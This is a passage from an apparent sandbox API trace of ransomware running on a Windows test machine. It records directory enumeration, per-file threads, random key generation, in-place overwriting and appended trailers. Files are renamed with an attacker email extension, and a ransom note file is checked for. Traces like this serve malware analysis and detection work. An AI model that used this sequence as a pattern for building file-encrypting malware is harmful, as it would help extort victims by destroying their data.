ftLastWriteTime.dwLowDateTime=0x86c1a72d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.070] wcscmp (_String1="..", _String2=".") returned 1 [0173.070] wcscmp (_String1="..", _String2="..") returned 0 [0173.071] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf21b540, ftCreationTime.dwHighDateTime=0x1d4d3ac, ftLastAccessTime.dwLowDateTime=0x87584890, ftLastAccessTime.dwHighDateTime=0x1d4c97a, ftLastWriteTime.dwLowDateTime=0x86bf448f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="4KGBY5~1.D0E")) returned 1 [0173.071] wcscmp (_String1="4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.071] wcscmp (_String1="4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9dcb0 [0173.071] wcscpy (in: _Dest=0x2f9dcb0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0173.071] wcscat (in: _Dest=0x2f9dcb0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0173.071] wcscat (in: _Dest=0x2f9dcb0, _Source="4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" [0174.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9dcb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0174.155] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bf448f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86bf448f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86bf448f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.155] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.155] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.155] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22af7300, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x756a3e40, ftLastAccessTime.dwHighDateTime=0x1d4c821, ftLastWriteTime.dwLowDateTime=0x86c1a72d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TZ6TMA~1.D0E")) returned 1 [0174.155] wcscmp (_String1="tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.155] wcscmp (_String1="tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.155] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9e2b0 [0174.155] wcscpy (in: _Dest=0x2f9e2b0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0174.155] wcscat (in: _Dest=0x2f9e2b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0174.155] wcscat (in: _Dest=0x2f9e2b0, _Source="tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" [0174.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9e2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0174.156] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0x8949cd65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPxmbDeEDjvwEjtEpgZ", cAlternateFileName="VPXMBD~1")) returned 1 [0174.156] wcscmp (_String1="VPxmbDeEDjvwEjtEpgZ", _String2=".") returned 1 [0174.156] wcscmp (_String1="VPxmbDeEDjvwEjtEpgZ", _String2="..") returned 1 [0174.156] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x30577c0 [0174.156] wcscpy (in: _Dest=0x30577c0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr" [0174.156] wcscat (in: _Dest=0x30577c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0174.156] wcscat (in: _Dest=0x30577c0, _Source="VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0174.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30577c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0174.157] FindNextFileW (in: hFindFile=0x2f805a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0x8949cd65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8949cd65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPxmbDeEDjvwEjtEpgZ", cAlternateFileName="VPXMBD~1")) returned 0 [0174.157] FindClose (in: hFindFile=0x2f805a0 | out: hFindFile=0x2f805a0) returned 1 [0174.157] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021b18) returned 1 [0174.157] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01270) returned 1 [0174.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0174.158] RtlExitUserThread (Status=0x0) Thread: id = 2091 os_tid = 0x1194 [0173.071] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.072] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.072] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1857fcf4 | out: lpFileSize=0x1857fcf4*=91317) returned 1 [0173.072] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x164b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.072] ReadFile (in: hFile=0x5d4, lpBuffer=0x1857fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x1857fcc8*, lpNumberOfBytesRead=0x1857fcc4*=0x4, lpOverlapped=0x0) returned 1 [0173.073] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.073] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053bf0 [0173.073] NtQuerySystemTime (in: CurrentTime=0x1857fca0 | out: CurrentTime=0x1857fca0*=132121213303889522) returned 0x0 [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x865aeaaf [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xdc51e7bb [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xff2eb859 [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xc262f318 [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x51bc787a [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x41285755 [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x23b03111 [0173.073] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x4a0d0022 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x7f308ed2 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x27abab51 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x93e62ba9 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x848eca6e [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x1772da03 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xac533879 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xaf4ede20 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x29c15f48 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x3bd8b477 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x14dd00c9 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x650a29a7 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x72e5502 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xae62c6bb [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xc898021b [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xf713f61e [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xfca232b3 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x2467f767 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x9893f55e [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x54c39152 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xec0679c9 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xe3a0b2f [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0x899d6189 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xeb3f8d42 [0173.074] RtlRandom (in: Seed=0x1857fcac | out: Seed=0x1857fcac) returned 0xa3a5d45d [0173.083] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.085] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.085] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.085] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.085] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1857fc78, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1857fc78*=0x4096, lpOverlapped=0x0) returned 1 [0173.085] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053cb8) returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.086] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1857fc78, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1857fc78*=0x4096, lpOverlapped=0x0) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.087] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x164b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.087] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1857fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x1857fcb0*=0x20, lpOverlapped=0x0) returned 1 [0173.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x1857fcc4*=0x8, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x1857fcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x1857fcdc*, lpNumberOfBytesWritten=0x1857fcc4*=0x4, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1857fcc4*=0x4, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1857fcc4*=0x6c, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x1857fcc4*=0x20, lpOverlapped=0x0) returned 1 [0173.088] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1857fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1857fcc4*=0x4, lpOverlapped=0x0) returned 1 [0173.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.088] CloseHandle (hObject=0x5d4) returned 1 [0173.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4760 [0173.089] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" [0173.089] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.089] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\ciohveub6iq2hna-h.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.090] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.090] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0173.090] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\ciOHVeUB6iQ2hNa-h.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.090] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95200 [0173.090] wcscpy (in: _Dest=0x2f95200, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.090] wcscat (in: _Dest=0x2f95200, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.090] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.091] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95200) returned 1 [0173.091] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91870) returned 1 [0173.091] RtlExitUserThread (Status=0x1) Thread: id = 2092 os_tid = 0x1198 [0173.092] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.092] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.092] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x185ff8bc | out: lpFileSize=0x185ff8bc*=75291) returned 1 [0173.093] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x12617, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.093] ReadFile (in: hFile=0x5d4, lpBuffer=0x185ff890, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x185ff890*, lpNumberOfBytesRead=0x185ff88c*=0x4, lpOverlapped=0x0) returned 1 [0173.093] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.094] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c18 [0173.094] NtQuerySystemTime (in: CurrentTime=0x185ff868 | out: CurrentTime=0x185ff868*=132121213304058273) returned 0x0 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xe061417b [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x3d7db096 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x20197675 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x21e7be88 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xb60b135a [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x61190a29 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xdbc0cfbd [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x4255d58e [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x6b9fe16 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xd249ee34 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x6d0df220 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xee2dfbfd [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x115fef6d [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xb9cc6a2a [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x2608937f [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x3f8ac2f1 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xdbec2965 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x75888352 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x5554d92f [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x40e5a1b [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x3de6bf2f [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x701baa6e [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x65134a50 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x4f10a57b [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x3366b42 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xce3b44c6 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x960e8207 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x4ebce2c4 [0173.094] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0xf8798c99 [0173.095] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x8eef8dcc [0173.095] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x3504a8ce [0173.095] RtlRandom (in: Seed=0x185ff874 | out: Seed=0x185ff874) returned 0x15f93daa [0173.103] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.105] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.105] RtlAllocateHeap 